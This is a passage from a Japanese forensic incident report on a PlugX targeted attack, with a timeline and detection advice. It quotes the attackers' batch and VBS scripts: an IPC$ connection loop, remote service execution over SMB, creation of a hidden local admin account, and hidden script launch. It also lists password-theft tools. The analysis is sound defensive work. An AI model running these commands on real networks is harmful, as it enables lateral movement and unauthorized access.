フォルダのファイル 「¥Windows」フォルダに、PSEXESVC.EXE というプログラムが配置されていた。これ は Microsoft が配布しているツールであるが、標的型攻撃でもよく利用される。このプロ グラムは PSEXEC.EXE というリモートでプログラムを実行させるためのサービスであ り、これを配置すればリモートから任意のプログラムを実行することが可能になる。 表 3.1-9 Windows フォルダ ファイル名 ファイル分類と概要 ¥Windows¥PSEXESVC.EXE プログラム。Microsoft 配布ツール。 7ファイルの同一性を評価するための値として利用。データに一定の計算手順によって算出 する。MD5、SHA1、SHA256 がよく使われる。 20 3.1.3. スクリプト・バッチファイルと関連ファイル 本項では、攻撃者が生成したと思われる「スクリプト・バッチファイル」と「関連ファ イル」の内容を解説する。表 3.1-7 から抜き出したものに内容を示した表を表 3.1-10 に 示す。 表 3.1-10 スクリプト・バッチファイルと関連ファイル ファイル名 分類 ファイル分類と概要 ¥Users¥Public¥Videos¥ss.vbs スクリプト ss.bat を実行する vbs。 ¥Users¥Public¥Videos¥server.vbs スクリプト 感染環境にない bat ファイルが指定されてい る。 ¥Users¥Public¥Videos¥u.bat バッチファイル ネットワーク経由コマンド実行する。 ¥Users¥Public¥Videos¥ss.bat バッチファイル pc.txt をもとに s.exe および u.bat を実行する ¥Users¥Public¥Videos¥h.bat バッチファイル 感染環境に合わせて作成。 ¥Users¥Public¥Videos¥pc.txt テキスト 攻撃者が作成したと思われる内部ネットワー クに存在する PC リスト。 ¥Users¥Public¥Videos¥s.txt テキスト 攻撃者の実行ログ。 これらのファイルの内容を分析した結果、攻撃者が本環境用にカスタマイズしたであろ うバッチファイルは「h.bat」 、「ss.bat」、 「u.bat」である。この 3 つのバッチファイルの 実行には、攻撃者が何らかの方法で入手、整理した内部ネットワークに存在する PC の一 覧、 「pc.txt」がその実行対象として指定されていた。 内部ネットワーク PC リスト 「pc.txt」の内容を図 3.1-5 に示す。 PC-01 PC-02 PC-03 PC-05 図 3.1-5 内部ネットワークの PC リストの内容 このファイルには、100 以上のコンピュータ名が記載されていた。感染 PC からアクセ スできるネットワークの情報やローカルファイル等から、内部ネットワークに存在する PC のコンピュータ名をリスト化したものと思われる。今回の組織では Active Directory が導入されており、Active Directory 環境ではドメイン参加している PC のコンピュータ 21 名の名前解決に内部 DNS(ドメインネームシステム)を構築するため、他 PC の情報はこ の DNS から入手した可能性がある。 h.bat 「pc.txt」を読み込んで、図 3.1-6 に示す「h.bat」は動作するように作られていた。こ れは「pc.txt」に記された PC にネットワーク経由でローカル管理者アカウントである admistrator で IPC 共有という共有リソースへ接続するようなものとなっていた。使われ ているコマンドは WindowsOS 標準コマンドの「net use」が利用されていた。 for /f %%i in pc.txt) do net use ¥¥%%i¥ipc$ /u:%%i¥Administrator 図 3.1-6 h.bat の内容 IPC 共有は、システム管理アクセスを可能とするものであるため、攻撃に利用されるこ とがある。攻撃者は内部ネットワークの PC へ IPC 共有への接続を試行するためにこのバ ッチファイルを作成したものと思われる。 ss.bat 「ss.bat」も先の「h.bat」と同じく「pc.txt」を読み込んで動作する構成となってい る。 「C:¥users¥public¥videos¥s.exe」を、ローカル管理者アカウント administrator を 指定し、いくつかのパラメータを渡して実行させ、その結果を「s.txt」として保存するよ うになっている(図 3.1-7) 。 for /f %%i in (pc.txt) do ( c:¥users¥public¥videos¥s.exe %%i %%i¥Administrator :123456789012345678901234567890 1234 Win32Update u.bat >>c:¥users¥public¥videos¥s.txt ) 図 3.1-7 ss.bat の内容 これらのファイルの関連を図 3.1-8 に示す。 22 図 3.1-8 ss.bat と関連ファイル しかし、このバッチファイルに記述されている「s.exe」は、表 3.1-7 で示す通り、 「¥Users¥Public¥Videos」には存在していない。後述するが、このファイルはウイルス 対策ソフトで検知され、移動させられていた。しかし、実行結果ファイルである「s.txt」 が存在することから、このバッチファイル「ss.bat」は、一度は実行されたと考えられ る。 u.bat 「ss.bat」に記載がある「u.bat」を 図 3.1-9 に示す。「u.bat」は、ローカルアカウン ト「demouser」を net user コマンドで作成し、ローカル管理者権限グループ 「administrators」に追加するという内容となっている。 net user demouser user@example /add /y net localgroup administrators demouser /add 図 3.1-9 u.bat の内容 ss.vbs 表 3.1-10 の通り、スクリプトは 2 つあるが、どちらも wscript 経由で bat ファイルを起 動する内容だった。図 3.1-10 に「ss.vbs」の内容を示す。バッチファイル「ss.bat」をウ ィンドウ非表示で起動しているだけの動作である。wshshell を利用したのは、コマンドプ ロンプトを非表示で動作させることが狙いだったと推測される。 23 on Error Resume next set wshshell=createobject("wscript.shell") a=wshshell.run("ss.bat",0) 図 3.1-10 ss.vbs の内容 もう一方の「server.vbs」は、ほぼ同じ記述だが、バッチファイル「server.bat」を呼び 出すようになっていたが、同ファイルは存在していなかったため、このスクリプトは本環 境に合わせて作られたものではないと推測される。 s.txt 図 3.1-11 に示す「s.txt」は、記録された PC 名が実在すること、 「ss.bat」の内容にお およそ合致しているように見受けられることの2点から、 「ss.bat」の実行結果であると推 測された。 [+] Remote Server PC-12 resolved as 192.168.1.2 [+] Sending SMB Authentication Handshake ① PC-12 に対する実行結果 [-] SessionSetupAndX Completed [-] Authentication against Remote Host Failed (Error: 0x00000001 [+] Remote Server PC-13 resolved as 192.168.1.3 [+] Sending SMB Authentication Handshake [+] Authentication against PC-13 Succeed as PC-03¥Administrator [+] Connecting against ¥¥PC-13¥IPC$ [+] Trying to connect to admin$ [+] Creating Remote File u.bat under admin$ ② PC-13 に対する実行結果 [+] Writing File u.bat into admin$ (82 bytes) [+] Opening Remote Service Control Manager pipe ¥svcctl [+] Opening Remote Service Control Manager (Creating Service) [+] Creating Remote Service [+] Opening Remote Service [+] Starting Remote Service... [+] Success! Please Check PC-13 図 3.1-11 s.txt の内容 24 記録されている内容から見て、PC 単位に下記処理を実行したものと思われる。 PC のローカル administrator を利用し SMB 認証 IPC 共有への接続 admin 共有への接続 u.bat の配置 サービスコントロールマネージャ接続 何らかのサービス追加 何らかのサービス起動 PC によって、これらの処理結果が異なったように記録されていた。例えば一部抜粋し た図 3.1-11 では、①はローカル administrator での接続に失敗、②は実施した処理は成功 8したように思われる。 成功した記録がある PC を調査したが、同件のマルウェア、記録されたようなローカル ユーザーの生成など不審点は見つからなかった。 8 25 3.2. 攻撃者の行動を示唆する痕跡 本項では、攻撃者の行動に関連するような箇所を列挙する。Windows OS のイベントロ グ、レジストリ更新、Windows エラーレポートといった Windows OS が残した記録、ウ イルス対策ソフト等のアプリケーションが残した記録、PlugX が残したと思われるクラッ シュログ、それぞれに記録されていた内容を解説する。 3.2.1. Windows OS が記録したもの イベントログ イベントログには OS の様々な動作が記録されている。過去の動作を確認するにはこのイ ベントログの調査がかかせない。また、この感染 PC には Windows 標準のセキュリティ 対策アプリケーションである「Windows Defender」が有効化されており、イベントログ にも出力されていた。これらのイベントログを、感染 PC で発見できたマルウェアのファ イル名や、関連したフォルダ名等のキーワードで確認すると、下記 2 点のイベントが発見 できた。 表 3.2-1 関連イベント 発生時間 概要 2014-05-21 10:03 ¥ProgramData¥taskeng.exe でユーザーアカウント制御(UAC)イベントが発生。 2014/-05-22 10:13 ¥Users¥Public¥Videos¥PwDump7.exe を Windows Defender が Hack Tool として 検知。10:13 から 10:21 までの間に 4 回検知。 2014 年 5 月 21 日に「taskeng.exe」の動作によるユーザーアカウント制御(UAC)イ ベントが発生しているため、 「taskeng.exe」が実行されたと思われる。2014 年 5 月 22 日 には Windows Defender によって Hack Tool としての検知が記録されていた。また、イベ ントログとは別のファイルに記録されている Windows Defender 自体のログにも、同日の 記録(図 3.2-1)があり、プロセス ID9(図中では pid と表記)が記録されていることか ら、実行時に検知されていたと思われる。 138838|file|C:¥Users¥Public¥Videos¥PwDump7.exe 138838|process|pid:4656 138838|process|pid:4636 138838|process|pid:2644 138838|process|pid:2448 9 図 3.2-1 Windows Defender Log WindowsOS が実行中のプロセスを一意に識別するために付与する識別子。 26 タスクスケジューラ タスクスケジューラにも実行記録が残されていた。表 3.2-2 に示す通り、タスク名 「At1」に、今回のマルウェアの一種である「¥Users¥Public¥Videos¥domain.exe」が登 録されていた。当該プログラムを 2014 年 6 月 26 日の 11 時 16 分に 1 度だけ実行するよ う登録されている。タスク名の「At1」は名称未指定で登録した際に自動的に付与される ものであること、スケジュール種類が「一度だけ」であることから、タスクスケジューラ を登録できるかを試用したものではないかと思われる。また、この際に結果をテキスト出 力したものが図 3.1-1 の「530.txt」と推測される。なお、前回の結果「267009」は「現在 タスクを実行中です」という意味である。 表 3.2-2 タスクスケジューラ抜粋 タスク名 At1 次回の実行時刻 N/A 前回の実行時刻 2014/06/24 11:16:00 前回の結果 267009 実行するタスク cmd /c ¥¥<PC 名>¥c$¥users¥public¥videos¥domain.exe スケジュールの種類 一度だけ 開始時刻 11:16:00 開始日 2014/06/24 レジストリ更新 レジストリの更新記録からは様々な情報が確認できるが、マルウェア感染に関しては、 永続化を行ったタイミングで何らかの記録があるケースがある。2014 年 6 月 26 日に永続 化を行うレジストリ「HKU/Software/Microsoft/Windows/CurrentVersion/Run」に追加され ていた。このレジストリ更新は、図 3.1-1 の通り、攻撃者が更新したものと思われる。 表 3.2-3 レジストリ更新概要 発生時間 2014-06-26 9:23 概要 Key name: HKEY_USER/Software/Microsoft/Windows/CurrentVersion/Run Last Written 更新 Windows Error Report Windows OS には、クラッシュしたアプリケーションの情報を記録する Windows Error Report という機能があるが、この情報も実行記録として利用できる。Windows Error Report から以下フォルダが確認できた。 27 2014/06/13 18:09 <DIR> AppCrash_s.exe_12345678901234567890123456789012345678_12345678 2014/06/30 15:28 <DIR> AppCrash_taskeng.exe_12345678901234567890123456789012345678_12345678 2014/05/23 16:10 <DIR> AppCrash_taskeng.exe_12345678901234567890123456789012345678_12345678 図 3.2-2 WER ディレクトリ抜粋 フォルダの最終更新時間から、このタイミングで「s.exe」 「taskeng.exe」が実行された と考えられる。また、これらの Windows Error Report フォルダ内には、さらに詳細の情 報が記録されており、 「s.exe」は 2014 年 6 月 13 日時点では「¥Users¥Public¥Videos」フ ォルダに存在したことが記されていた。 3.2.2. MasterFileTable に記録されていたもの Windows OS のファイルシステムである NT File System(NTFS)には、Master File Table(MFT)というファイル個々のエントリー情報(ファイルの所在地と属性情報等) が記録されている。この記録から、ファイルの生成や更新の日付がより詳しく把握でき るケースがある。今回 MFT 情報から、攻撃者の挙動に繋がる情報が取得できたファイル は以下の 5 ファイルである。 表 3.2-4 更新日が攻撃者の挙動に関連するファイル ファイル名 推測される挙動 ¥Users¥<ユーザー名> 初期感染。 ¥AppData¥Local¥Temp¥1.exe ¥Users¥Public¥Videos¥type パスワードハッシュを奪取した。 ¥Users¥Public¥Videos¥pc.txt 内部ネットワークの PC リストを作成した。 ¥Users¥Public¥Videos¥s.txt ss.bat を実行した。 ¥Users¥Public¥Videos¥530.txt ジョブスケジューラに登録した。 ¥Users¥<ユーザー名>¥AppData¥Local¥Temp¥1.exe 「テンポラリ領域の不審ファイル」という観点の調査で発見した。今回のマルウェアで 利用された「taskeng.exe」と同じハッシュ値を持つため、同一ファイルと思われる。マ ルウェア感染の典型的な挙動である「実行時に自分自身を別フォルダにコピーし永続化 する」動作をとったものと考えられる。そして表 3.2-5 の通り、ファイルの生成時間 が、初期感染の想定時間と推測した。なお、ファイルはすでに存在しないが、MFT 情報 28 に、同じフォルダ、同じ時間に「1.docx」というファイルが生成された記録があったた め、初期感染は Word 文書に関連して行われた可能性がある。 表 3.2-5 初期感染の想定時間 日付 内容 2014-05-20 17:37 ¥Users¥<ユーザー名>¥AppData¥Local¥Temp¥1.exe が生成。 2014-05-20 17:37 ¥Users¥<ユーザー名>¥AppData¥Local¥Temp¥1.docx が生成。 ¥Users¥Public¥Videos¥type ファイル内容から、パスワードハッシュの取得がされたものであり、値の再利用のため にファイルに書き出したと想定される。作成日と更新日は同じ情報が記録されていた。 そして、表 3.2-6 の通り、当該ファイルの生成時間が、パスワード奪取ツールの実行時 間と推測した。 表 3.2-6 パスワード奪取ツールの実行想定時間 日付 2014-06-04 13:44 内容 ¥Users¥Public¥Videos¥type が生成。 ¥Users¥Public¥Videos¥pc.txt このファイルは、3.1.3 に記した通り、横移動のためのバッチファイル「h.bat」 「ss.bat」で指定された実行対象 PC のリストと思われる。よって、先行して作成された ものと考えられる。また、 「pc.txt」と「s.txt」に記載されている PC に一致がなかった ため、 「pc.txt」は実行後に更新された可能性がある。MFT 情報から、下記表 3.2-7 の通 り、初回生成と更新を推測した。 表 3.2-7 PC リストの初回生成・更新想定時間 日付 内容 2014-06-13 16:31 ¥Users¥Public¥Videos¥pc.txt が初回生成。 2014-06-25 16:56 ¥Users¥Public¥Videos¥pc.txt が更新。 ¥Users¥Public¥Videos¥s.txt ファイル内容と「ss.bat」の関係から、本ファイルの生成日は、 「ss.bat」の実行日と推 測できる。表 3.2-8 の通り、ファイルの生成時間が、パスワード奪取ツールの実行時間 と推測した。また、本ファイルはこの日付以降に更新記録はなかった。 29 表 3.2-8 「ss.bat」の実行想定時間 日付 2014-06-13 16:56 内容 ¥Users¥Public¥Videos¥s.txt が生成。 ¥Users¥Public¥Videos¥530.txt 本ファイルの内容については、すでに表 3.2-2 に記載しているが、このファイルの生成 日は、先にあげたタスクスケジューラの実行前と思われる。表 3.2-9 が実行想定時間であ るが、タスクスケジューラの実行日の 2016/6/24 の前日であり、想定と合致している。 表 3.2-9 タスクスケジューラ実行想定時間 日付 2014-06-23 17:57 3.2.3. 内容 ¥Users¥Public¥Videos¥530.txt が生成。 アプリケーションが記録したもの 感染端末には、ウイルス対策ソフトがインストールされており、図 3.2-3 のように、検 知が記録されていた。 20140521<;>1049<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1107<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1108<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1110<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1113<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1122<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1124<;>Mal_PlugX<;>81<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1708<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140521<;>1729<;>Mal_PlugX<;>10<;>1<;>0<;>C:¥ProgramData¥F3¥NvSmart.hlp<;> 20140522<;>1044<;>TSPY_PLUGX.EMP<;>1<;>1<;>0<;>C:¥Users¥Public¥Videos¥CmdBrowserPass.exe<;> 20150406<;>1704<;>TROJ_AGENT.YMNEB<;>1<;>1<;>0<;>C:¥Users¥Public¥Videos¥s.exe<;> 図 3.2-3 ウイルス対策ソフトログ(抜粋) 2014/5/21 10:49 より複数回、 「¥ProgramData¥F3¥NvSmart.hlp」が PlugX として検 知されているため、PlugX はこの時点(2014/5/21)では実行されていたと思われる。こ れらの処理結果は、 「10:(クリーニング失敗で移動を表す)」とあるが、この後も先にあげ 30 たような PlugX の動作を示唆するログや、不審通信の通信記録は存在するため、PlugX の 動作全てを停止できたわけではなかったと思われる。 また、 「¥Users¥Public¥Videos¥CmdBrowserPass.exe」と 「¥Users¥Public¥Videos¥s.exe」を検知した処理結果は「1:(移動成功を表す) 」とある が、感染 PC の検疫フォルダには「s.exe」のみ保存されていた。 3.2.4. その他実行を示唆するもの ¥ProgramData¥SxS¥bug.log その他実行を示すログとして、マルウェアが生成したファイルではあるが、 「¥ProgramData¥SxS¥bug.log」もそのひとつといえる。クラッシュした記録があると いうことは、そのタイミングで実行されていたと考えられる。よって、記録された日時 (図 3.2-4)には、なんらかの PlugX の動作を実行したものと考えられる。 2014-07-28 10:32:55: EName:*,EAddr :0x12345678, ECode: 0x12345678 2014-07-28 10:32:55: EName:*,EAddr :0x12345678, ECode: 0x12345678 2014-10-01 10:29:06: EName:*,EAddr :0x12345678, ECode: 0x12345678 2014-12-01 14:36:10: EName:*,EAddr :0x74FC9342,ECo de:0xC0000005, 2014-12-01 14:36:10: EName:*,EAddr :0x774EAE42, ECo de: 0xC000071C, 図 3.2-4 bug.log 31 3.3. 攻撃のタイムライン 3.3.1. 攻撃の段階 これまで記載した各情報を総合的にまとめて、想定される攻撃のタイムライン10を作成 した。まず、図 3.3-1 に攻撃の段階を示す。 図 3.3-1 攻撃の段階 ダウンローダーに初期感染した翌日に PlugX に 2 次感染し、同日から 2 日間でパスワー ド奪取ツール等の配置と実行を行う情報奪取を開始している。その後約 3 週間後に横移動 準備として、各種スクリプトの配置と実行等を行い活動範囲の拡大を図ったと思われる。 それから約 2 週間の間、いくつかの活動が見られたが、2014 年 6 月末以降は特に目立っ た活動痕跡は見られなかった。 3.3.2. 攻撃の想定タイムライン 表 3.3-1 は、攻撃の段階にそれぞれの事象を記載した「攻撃の想定タイムライン」であ る。攻撃者の行動が垣間見られると思う。表の中の表現について補足すると、「配置」は ファイルの MFT 情報から、ファイルがそのフォルダに配置されたと考えられる時間を記 し、 「生成」はファイルの性質上、何らかの実行結果と思われるファイルの生成と考えら れた時間を記した。 「更新」はファイルの更新や値の更新が行われた時間を記している。 10 事象を時系列にならべたもの。 32 表 3.3-1 攻撃の想定タイムライン 日付 2014-05-20 17:37 内容 初期感染。¥Users¥<ユーザー名>¥AppData¥Local¥Temp¥1.exe が生成。この タイミングで 1.exe が実行され、¥ProgramData¥taskeng.exe は永続化。 2014-05-21 09:52 ツールの配置を開始。 ¥Users¥Public¥Videos¥gsecdump.exe が配置される。 2014-05-21 10:01 ¥Users¥Public¥Videos¥wce.exe が配置される。 2014-05-21 10:03: ¥ProgramData¥taskeng.exe で UAC イベントが発生。 2014-05-21 10:30~ 2 次感染。PlugX の実行環境生成。 ¥ProgramData¥F3¥googleUpdate.exe ¥ProgramData¥F3¥goopdate.dll ¥ProgramData¥F3¥ goopdate.dll.map 2014-05-21 10:49 が配置される。 ¥ProgramData¥F3¥NvSmart.hlp がウイルス対策ソフトで「Mal_PlugX」として 検出・移動される。PlugX が実行され googleUpdate.exe は永続化。 2014-05-21 17:29 ¥ProgramData¥F3¥NvSmart.hlp 2014-05-22 09:34~ ¥Users¥Public¥Videos¥TIOR64.exe 更新。 ¥Users¥Public¥Videos¥Win7Elevate64.exe ¥Users¥Public¥Videos¥Win7ElevateDll64.dll ¥Windows¥PSEXESVC.EXE が配置される。 2014-05-22 10:13 ツールによる情報奪取開始。 ¥Users¥Public¥Videos¥ PwDump7.exe が Windows Defender で検知される。 2014-05-23 13:41~ ¥Users¥Public¥Videos¥gsecdump.exe ¥Users¥Public¥Videos¥Win7Elevate64.exe 2014-06-04 13:44 ¥Users¥Public¥Videos¥type 2014-06-06 10:10 ¥Users¥Public¥Videos¥ptl.aym が配置される。 が生成される。(パスワード奪取を実行) ¥Users¥Public¥Videos¥ptl.ayx が配置される。 2014-06-09 10:20 ¥Users¥Public¥Videos¥domain.exe 2014-06-09 16:23 ¥Program Files (x86)¥AntiVirus¥Client¥SUSPECT¥s.exe が配置される。 が生成される。(ウイルス対策ソフトでの検知) 2014-06-11 14:47 ¥Users¥Public¥Videos¥u.bat が配置される。 2014-06-13 11:14 ¥Users¥Public¥Videos¥h.bat が配置される。 2014-06-13 16:27~ ¥Users¥Public¥Videos¥ss.vbs ¥Users¥Public¥pc.txt ¥Users¥Public¥Videos¥ss.bat が配置される。 33 2014-06-13 16:39~ 奪取した情報をもとに横移動準備を開始。 ¥Users¥Public¥Videos¥s.txt が生成される。 Software/Microsoft/WindowsScriptHost/Settings が更新される。(ss.vbs の実行) 2014-06-19 16:18 ¥Users¥Public¥Videos¥server.vbs が配置される。 2014-06-23 17:57 ¥Users¥Public¥Videos¥530.txt が生成される。タスクスケジューラの登録。 2014-06-24 11:15 ¥Windows¥Tasks¥At1.job が生成される。タスクスケジューラのジョブが実行。 2014-06-25 16:50 ¥Users¥Public¥pc.txt が更新される。さらなる横移動準備を開始。 2014-06-26 09:23~ ¥ProgramData¥AYCai¥ptl.aym ¥ProgramData¥AYCai¥ptl.ayx ¥ProgramData¥AYCai¥abcdefghijklmnopqr が配置される。 Software/Microsoft/Windows/CurrentVersion/Run が更新。3 つ目のプログラムが 永続化。 2014-06-30 17:52 ¥ProgramData¥AYCai¥itd が配置される。 2014-07-28 10:32 ¥ProgramData¥SxS¥bug.log が生成される。PlugX のクラッシュ。 2014-12-17 14:40 ¥ProgramData¥SxS¥bug.log が生成される。PlugX のクラッシュ。 2014 年 5 月 20 日に「1.exe」によって初期感染とダウンローダーの永続化が発生、翌 日の 5 月 21 日には攻撃ツールの配置と PlugX 実行環境の配置、またその翌日にパスワー ド奪取ツールの実行があった。6 月 4 日にはパスワード奪取の実行があり、数日おいて 6 月 13 日に横移動準備のツール配置や実行が行われている。6 月 23 日にタスクスケジュー ラに登録があり、数日後に 3 つ目のプログラム永続化が行われている。その後いくつか PlugX の実行記録はあるが、12 月 17 日以降はその痕跡は発見されなかった。初期感染か ら PlugX の配置までが短時間であること、パスワード奪取してからスクリプト配置まで少 し時間をおくことなど、攻撃者の挙動が垣間見られる。 3.3.3. カレンダー 攻撃痕跡のあった日を当時のカレンダーで確認した。2014 年 5 月、6 月での攻撃実行日 は、図 3.3-2 の通り平日であり、時間もおおよそ一般的な営業時間内での時間である。 34 図 3.3-2 2014/5-6 のカレンダーと攻撃実行日 遠隔操作が主なアクセス方法だったと思われるので、当然といえるが、今回痕跡から発 見された攻撃は平日、営業時間内での活動だったと思われる。 本章では、攻撃者が配置したフォルダやファイルに関する分析、特にバッチファイルや その関連ファイルにはその内容を示し、解説した。また、OS やアプリケーションからの ログ、MFT といったファイルの属性情報を考慮に加えて、攻撃者の攻撃痕跡を時系列に 並べてタイムラインを作成した。 個々の攻撃痕跡については、感染嫌疑時に同じような痕跡がないかを調査する際の参考 にしてほしい。また、組織内の PC で、標的型攻撃の可能性があるセキュリティリスクが 検知された場合は、このタイムラインを参考にして、その前後でこれらの兆候がないかを 確認してほしい。 35 4. 攻撃の検知と調査の手法を検討する 本章では、これまで分析した感染 PC での攻撃痕跡をふまえて、以下3つのテーマを取 上げる。 PC での検知における課題と対策 ログに関する考慮事項 感染嫌疑の調査例 今回のケースで見られたように、PC のログ等に出力される小さな検知にいかに気付く かを、PC 利用者からの検知という観点で、課題と対策を考察する。次に、調査において 重要な対象であるログについていくつか考慮事項をあげ、最後に、感染嫌疑時の調査の一 例として、必要と思われる調査の概要を紹介する。 4.1. PC での検知に関する課題と対策 本項では、PC での検知に関する課題と対策を、下記 2 項目で解説する。 ウイルス対策ソフトの課題と対策 イベントログの課題と対策 4.1.1. ウイルス対策ソフトの課題と対策 ウイルス対策ソフトの検知に適切な対応が取れなかった理由としては、おおよそ以下の 2 点が考えられる。 利用者への通知に気付かなかった。 検知名が攻撃とは思わなかった。 ウイルス対策ソフトでセキュリティリスクが検知された場合、利用者のデスクトップ画 面の最前面にリスク検知のアラートがポップアップ表示されるはずだ。しかし、その表示 された内容を「すぐに」 「正しく」理解するのは、困難だと思われる。ポップアップ表示 が突然表示されると驚いてしまうことと、その表示は普段見慣れない単語や難解な記述で あることから、すぐには状況把握できないのではないかと思われる。 36 利用者への通知とログ確認方法を知らせる ウイルス対策ソフトの最近の傾向として、統合的な脅威対策ソフトとしての製品仕立て となっていることが多く、機能が豊富だが複雑なものになっている。その一方で、インス トールをはじめとする使用開始時の手順はシンプルで、個人ユーザーでも簡単にインスト ールできるよう工夫されており、各設定がデフォルト値のままでも問題なく動作するよう チューニングされている。そのため、すぐ使用は開始できるが、意識的に設定値を確認し なければ、どのような設定か知らないままの利用になっているケースがあるのではと思わ れる。 また、利用者への通知については、利用者のデスクトップ画面でポップアップ表示が出 るものの、多くの場合、ワンクリックで画面から消えてしまうため、利用者がその内容を 覚えていない可能性もある。ワンクリックしてその表示が消えると、あとはセキュリティ リスクの検知ログを意図的に確認しない限りは、その検知した内容を目にすることはない のが、ごく一般的な運用だと考えられる。 対策としては下記3点をあげる。 設定内容を把握する。 利用者への通知はテストで確認しておく。 利用者へ検知ログを確認する方法を伝えておく。 導入しているウイルス対策ソフトウェアの設定値を確認し、利用者へ通知されるのはど のようなケースで、どのような通知が行われるかを把握する事が必要である。例えば、あ る著名ウイルス対策ソフトウェアでは、基本機能の「ウイルスとスパイウェアの対策」だ け取ってみても、検知時における通知の設定には、 「自動検知」、「E メール検知」 、 「Outlook 検知」と 3 つの個別設定がある。まずは、今動作している設定内容を把握する べきである。 次の対策は、利用者自身に「どのような通知になるのか」「ログはどのように確認でき るのか」を前もって体験してもらうことを挙げる。検知時にどのような通知がされること をあらかじめ体験しておくことで、落ち着いて対処することができるからだ。ウイルス検 知テストを利用者自身が行うケースは少ないと思われるが、擬似ウイルスとして利用され る「EICAR テストウイルス 」等で、通知がどのように行われるかを体験してもらってお けば、 「セキュリティリスクの認識度」は向上すると思われる。 もうひとつの対策として、利用者に「検知ログの確認方法」を伝えておくことを挙げ る。これにより、ポップアップ表示をうっかり消してしまった後でも、その検知内容を利 用者自身が確認できるようになるからだ。検知ログの確認は、ウイルス対策ソフトの管理 ツールからログ確認ツールを起動する事が多いが、意図的に見ようとしない限り使わない 37 ツールであるため、利用方法を知らないと動かすことができない。ウイルス対策ソフトウ ェアの運用手順の必須のひとつとして、利用者への周知をお奨めする。 導入必須といえるウイルス対策ソフトは、運用しやすい工夫がされているが、利用者自 身も、その動作内容をしっかり把握して運用することが、より効果的な対策となると思わ れる。 マルウェア検知名は難しい 「マルウェア検知名」についても注意が必要である。この「検知名」については、現在 はウイルス対策ソフトメーカー固有の名称であり、分類や特徴を捉えて命名されているた め、その動作や内容を把握するには都度メーカー提供情報を確認する必要がある。実際の 脅威を理解するには手間がかかってしまうのが現状である。また、本事例での「遠隔操作 マルウェア(RAT) 」や「トロイの木馬」といったマルウェアについては、直接的に破壊 活動を行わない理由からか、 「脅威としての危険度があまり高くないような表現」となっ ていたり、英語のみの記載であったり、記載内容が難解なケースも散見される。このよう な状況が、脅威に対する判断を困難にしている要因のひとつと考えられる。 対策としては、検知名に表現される分類や特徴を表す単語を「危険な単語」として周知 しておくことをお奨めする。メーカーは異なっていても、その動作を示す分類や特徴は、 単語として表現されているケースが多いからだ。例えば、トロイの木馬を表す 「Trojan」 、バックドアや RAT を表す「Backdoor」、ダウンロードさせる事が目的のマル ウェアでは「Downloader」は多くのウイルス対策ソフトで使われているため、このよう な単語を周知しておけば、詳細はわからなくとも、危険かどうかの判断はできると思われ る。表 4.1-1 では、あわせて、 「日本の組織への標的型攻撃で利用されたとされる」マル ウェアを代表的なもの数種と、同じくハッキングツールの代表的なものを数種記載した。 表 4.1-1 検知名で出る危険な単語 単語 想定される内容 Trojan トロイの木馬。略字で TROJ など。 Backdoor バックドア、RAT。略字で BKDR など。 Downloader マルウェアをダウンロードさせるタイプ。 Rootkit 攻撃ツールのセット。 Plugx 標的型攻撃利用マルウェア。別名 Korplug、Destroy など。 Poisonivy 標的型攻撃利用マルウェア。略字 PIVY など。 Daserf 標的型攻撃利用マルウェア。 Zacom 標的型攻撃利用マルウェア。別名 Nflog など。 Emdivi 標的型攻撃利用マルウェア。 38 Elirks 標的型攻撃利用マルウェア。別名 Klurp など。 PWDump7 ハッキングツール。パスワード奪取ツール。 mimikatz ハッキングツール。パスワード奪取ツール。 WCE ハッキングツール。パスワード奪取ツール。 gsedump ハッキングツール。パスワード奪取ツール。 PsExec リモート管理ツールだが攻撃にも利用される。同種に PsExeSvc。Microsoft の正規リリース。 これらの単語が含まれる検知名だった場合は、単なるコンピュータウイルスではなく、 なんらかの攻撃、またはその兆候である可能性があるため、管理者へ連絡をしてほしいと 周知することは、ひとつの攻撃対策になると考えられる。 4.1.2. イベントログの課題と対策 イベントログからの検知は難しい。理由は、OS、Windows 標準のアプリケーションが 生成するログは種類、量ともに大変多く、記載内容も難解であるケースが多いからだ。イ ベントログを確認するには管理ツールであるイベントビューワーを利用するが、漠然と 「攻撃の兆候」を探すといっても、どこから見ていけばいいのか躊躇してしまうくらいの 情報量がある。しかし、OS 標準機能を使って、 「フィルタリング」と「イベント検知」で 必要な情報を抽出する事は可能だ。この設定方法について紹介する。あわせて、デフォル ト値では取得されないが「攻撃の兆候」となる可能性のある「イベント ID」は追加取得す ることをお奨めしたい。また、イベントログを正しく読むためのヒントとして、SID とア カウントの紐付けも紹介する。 イベントビューアーのカスタムビュー作成によるフィルタリング タスクスケジューラによるイベント検知 攻撃検知につながる監査ポリシーの追加 SID とアカウントの紐付け イベントビューアーのカスタムビュー作成によるフィルタリング イベントビューアーには、指定した条件に合致するログをフィルターして表示する「カ スタムビュー」という機能がある。 「イベントログ」の種類と「イベント ID」をフィルタ ーとして指定すれば、それを抽出した表示(カスタムビュー)をさせることが可能だ。以 下の箇所で設定する。 39 「管理ツール」-「イベントビューアー」-「カスタムビュー」-カスタムビューの作 成 図 4.1-1 では、設定例として、イベントログ種類を「Microsoft-WindowsTerminalServices-LocalSesssionManager」 、イベント ID を「21」で「正常ログイン」を 指定したカスタムビュー設定を示しており、図 4.1-2 ではそのカスタムビュー表示を示し た。このようにフィルターすることで、わかりやすく表示できる。なお、このカスタムビ ューはエクスポートすることができるので、別の PC でインポートして利用することもで きる。 図 4.1-1 カスタムビュー設定例 図 4.1-2 カスタムビュー表示例 40 タスクスケジューラによるイベント検知 「タスクスケジューラ」には、特定のトリガーを検知すると、あらかじめ指定した操作 を実行する機能がある。この特定のトリガーを「イベントログの種類」 「イベント ID」と 指定し、 「操作」として、 